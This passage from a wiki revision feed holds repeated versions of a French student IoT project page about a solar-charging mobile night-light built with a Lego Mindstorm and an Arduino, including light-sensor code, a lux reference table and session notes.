 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
[[Fichier:carte.jpg]]&lt;br /&gt;
[[Fichier:circuit.jpg]]&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46807</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46807"/>
				<updated>2018-01-23T14:44:08Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la cinquième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
Encore des essaies bluetooth et code mindstorm indépendant.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46806</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46806"/>
				<updated>2018-01-23T14:43:30Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la quatrième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
  Serial.print(&amp;quot;Raw = &amp;quot;);&lt;br /&gt;
  Serial.print(rawValue);&lt;br /&gt;
  Serial.print(&amp;quot; - Lux = &amp;quot;);&lt;br /&gt;
  Serial.println(RawToLux(rawValue)); &lt;br /&gt;
  delay(1000);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
float RawToLux(int raw)&lt;br /&gt;
{&lt;br /&gt;
  float logLux = raw * logRange / rawRange;&lt;br /&gt;
  return pow(10, logLux);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici un tableau avec nombreuses exemples de valeurs de retour et leurs équivalence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Illuminance&lt;br /&gt;
 | Example&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.002 lux&lt;br /&gt;
 | Moonless clear night sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 0.27 - 1 lux&lt;br /&gt;
 | Full moon on a clear night&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 3.4 lux&lt;br /&gt;
 | Dark limit of civil twilight under a clear sky&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 50 lux&lt;br /&gt;
 | Family living room&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 80 lux&lt;br /&gt;
 | Hallway/toilet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 100 lux&lt;br /&gt;
 | Very dark overcast day&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 300 - 500 lux&lt;br /&gt;
 | Sunrise or sunset on a clear day. Well-lit office area&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 1,000 lux&lt;br /&gt;
 | Overcast day; typical TV studio lighting&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 10,000 - 25,000  lux&lt;br /&gt;
 | Full daylight (not direct sun)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | 32,000 - 130,000 lux&lt;br /&gt;
 | Direct sunlight&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-ga1a12s202-log-scale-analog-light-sensor/use-it&lt;br /&gt;
&lt;br /&gt;
http://www.instructables.com/id/Solar-Battery-Charging/&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la deuxième séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons dans un premier temps adapté le code pour nos besoins. En attendant un module Bluetooth pour pouvoir communiquer entre l'Arduino et le Mindstorm, nous avons écrit un code qui enregistrera la valeur maximale de luminosité lors de son lancement, ensuite d'attendre 3 secondes (cette période symbolise la recherche initiale de valeur maximale de luminosité) ensuite nous avons la variable keepMoving qui restera vrai, pour dire que la plateforme continue à changer de position, tant que la valeur maximale n'est pas trouvé (avec une marge bien-sur pour tenir compte de toute incertitude de mesure).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0, rawValue, maxValue=0, marge = 50;&lt;br /&gt;
boolean firstSearch = false, searchAgain = false, keepMoving;&lt;br /&gt;
&lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); &lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  while (firstSearch == false || searchAgain == true)&lt;br /&gt;
  {  &lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;gt; maxValue)&lt;br /&gt;
      {&lt;br /&gt;
        maxValue = rawValue;&lt;br /&gt;
      }&lt;br /&gt;
    searchAgain = false, firstSearch = true;&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;PAUSE&amp;quot;);&lt;br /&gt;
  //3seconds&lt;br /&gt;
  delay(3000);&lt;br /&gt;
  Serial.println(&amp;quot;WERE BACK&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  do&lt;br /&gt;
  {&lt;br /&gt;
    rawValue = analogRead(sensorPin);&lt;br /&gt;
    if (rawValue &amp;lt; maxValue - marge)&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = true;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
      keepMoving = false;&lt;br /&gt;
    }&lt;br /&gt;
    Serial.println(keepMoving);&lt;br /&gt;
   } while (keepMoving == true);&lt;br /&gt;
  &lt;br /&gt;
  //delay(6000);&lt;br /&gt;
  searchAgain = true;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons commencé à prendre en main le Mindstorm ainsi que son logiciel de programmation pour comprendre son fonctionnement et comment s'en servir par la suite.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la troisième séance==&lt;br /&gt;
http://www.raspberry-projects.com/pi/pi-operating-systems/raspbian/bluetooth/bluetooth-commands&lt;br /&gt;
&lt;br /&gt;
https://www.npmjs.com/package/bluetoothctl&lt;br /&gt;
&lt;br /&gt;
https://lifehacker.com/everything-you-need-to-set-up-bluetooth-on-the-raspberr-1768482065&lt;br /&gt;
&lt;br /&gt;
https://peip-ima.plil.fr/mediawiki/index.php/BE_2017-2018&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la quatrième séance==&lt;br /&gt;
Réalisation carte.&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la cinquième séance==&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la sixième séance==&lt;br /&gt;
&lt;br /&gt;
=Rendu=&lt;br /&gt;
&lt;br /&gt;
==Poster==&lt;br /&gt;
Version électronique du poster :&lt;br /&gt;
[[Fichier:2017_IOT_P0_poster.png|center|500px|Notre poster]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers rendus==&lt;br /&gt;
&lt;br /&gt;
Notre application : [[Media:2017_IOT_P0_application.zip]]&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46749</id>
		<title>P4 IOT 2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2017&amp;diff=46749"/>
				<updated>2018-01-16T10:53:49Z</updated>
		
		<summary type="html">&lt;p&gt;Bhagui : /* Détail du travail de la troisième séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser une veilleuse mobile, une veilleuse qui cherchera le meilleur emplacement dans une pièce ( dans une ligne droite entre deux murs ou deux obstacles par exemple) pour recharger sa batterie grâce à un panneau solaire.  &lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Ce projet est réalisé dans le cadre du module transversale IOT (Internet of Things). &lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Nous allons utiliser un Mindstorm pour la plateforme mobile sur laquelle sera monté un ou plusieurs panneaux photovoltaïques. Aussi, ce dernier sera équipé d'un capteur de lumière car le but étant d'abord de déterminer l'endroit le plus lumineux disponible. Après avoir déterminé cet endroit, l'appareil sera capable à l'aide des panneaux photovoltaïque et une batterie rechargeable d'alimenter une veilleuse (une LED dans un premier temps).&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* Mindstorm&lt;br /&gt;
* Panneau photovoltaïque &lt;br /&gt;
* Capteur de lumière&lt;br /&gt;
* Arduino Uno&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (08/01/2018)&lt;br /&gt;
 | Formation des groupes, chercher un sujet et faire valider ce-dernier.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (09/01/2018)&lt;br /&gt;
 | Code d'utilisation du capteur lumière et initiation au Mindstorm.&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (16/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (17/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (22/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (24/01/2018)&lt;br /&gt;
 | activité ...&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
==Détail du travail de la première séance==&lt;br /&gt;
&lt;br /&gt;
Durant cette première séance nous avons pu tester et étudier les valeurs de retour du capteur de luminosité et réfléchir à comment modifier le code pour réaliser notre projet. Vous trouverez ci-dessous le code utilisé pour tester le capteur:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int sensorPin = A0;    // select the input pin for the potentiometer&lt;br /&gt;
 &lt;br /&gt;
float rawRange = 1024; // 3.3v&lt;br /&gt;
float logRange = 5.0; // 3.3v = 10^5 lux&lt;br /&gt;
 &lt;br /&gt;
void setup() &lt;br /&gt;
{&lt;br /&gt;
  analogReference(EXTERNAL); //&lt;br /&gt;
  Serial.begin(9600);&lt;br /&gt;
  Serial.println(&amp;quot;Adafruit Analog Light Sensor Test&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() &lt;br /&gt;
{&lt;br /&gt;
  // read the raw value from the sensor:&lt;br /&gt;
  int rawValue = analogRead(sensorPin);    &lt;br /&gt;
  &lt;br /&gt;
